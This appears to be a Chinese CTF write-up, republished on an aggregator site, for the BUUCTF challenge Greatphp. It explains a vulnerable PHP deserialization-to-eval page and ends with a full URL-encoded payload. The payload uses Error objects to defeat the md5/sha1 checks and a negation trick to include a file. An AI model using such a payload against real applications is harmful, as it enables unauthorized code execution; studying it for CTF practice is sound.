当前位置: 首页 > article >正文

97,【5】buuctf web [极客大挑战 2020]Greatphp

进入靶场

审代码

<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全隐患
error_reporting(0);

// 定义一个名为 SYCLOVER 的类
class SYCLOVER {
    // 定义类的公共属性 $syc
    public $syc;
    // 定义类的公共属性 $lover
    public $lover;

    // 定义魔术方法 __wakeup,当对象被反序列化时会自动调用该方法
    public function __wakeup(){
        // 检查 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等
        // 利用了哈希算法碰撞的特性,在某些特殊输入下不同值可能产生相同的哈希结果
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
            // 使用正则表达式检查 $syc 中是否包含 <?php、(、)、" 或 ' 这些字符
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                // 如果 $syc 中不包含上述危险字符,则将 $syc 作为 PHP 代码进行执行
                eval($this->syc);
            } else {
                // 如果 $syc 中包含危险字符,终止程序并输出提示信息
                die("Try Hard !!");
            }
        }
    }
}

// 检查是否通过 GET 请求传递了名为 'great' 的参数
if (isset($_GET['great'])){
    // 如果存在 'great' 参数,对其进行反序列化操作
    // 反序列化过程中会触发 SYCLOVER 类的 __wakeup 方法
    unserialize($_GET['great']);
} else {
    // 如果不存在 'great' 参数,高亮显示当前 PHP 文件的源代码
    highlight_file(__FILE__);
}

?>

总结:通过 GET 请求传递名为 'great' 的参数,并对 'great' 参数进行序列化操作 

 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等

正则表达式检查 $syc 

payload:

/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

 

 


http://www.kler.cn/a/529347.html

相关文章:

  • Docker 部署 Starrocks 教程
  • AIGC技术中常提到的 “嵌入转换到同一个向量空间中”该如何理解
  • C# 实现 “Hello World” 教程
  • Qt常用控件 输入类控件
  • React第二十八章(css modules)
  • 使用 Docker + Nginx + Certbot 实现自动化管理 SSL 证书
  • python算法和数据结构刷题[5]:动态规划
  • 【Springboot2】热部署开启
  • 【人工智能】 在本地运行 DeepSeek 模型:Ollama 安装指南
  • deep generative model stanford lecture note2 --- autoregressive
  • Windows11 不依赖docker搭建 deepseek-R1 1.5B版本(附 Open WebUi搭建方式)
  • openmv运行时突然中断并且没断联只是跟复位了一样
  • 如何在Intellij IDEA中识别一个文件夹下的多个Maven module?
  • 【单层神经网络】基于MXNet库简化实现线性回归
  • Python sider-ai-api库 — 访问Claude、llama、ChatGPT、gemini、o1等大模型API
  • ollama和deepseek-r1-1.5b和AnythingLLM
  • Java 有很多常用的库
  • 【4. C++ 变量类型详解与创新解读】
  • UI线程用到COM只能选单线程模型
  • [CVPR 2024] AnyDoor: Zero-shot Object-level Image Customization
  • 17.2 图形绘制7
  • ES的机架感知-Rack Awareness
  • kimi,天工,gpt,deepseek效果对比
  • 【Arxiv 大模型最新进展】TOOLGEN:探索Agent工具调用新范式
  • python 从知网的期刊导航页面抓取与农业科技相关的数据
  • 网络测试工具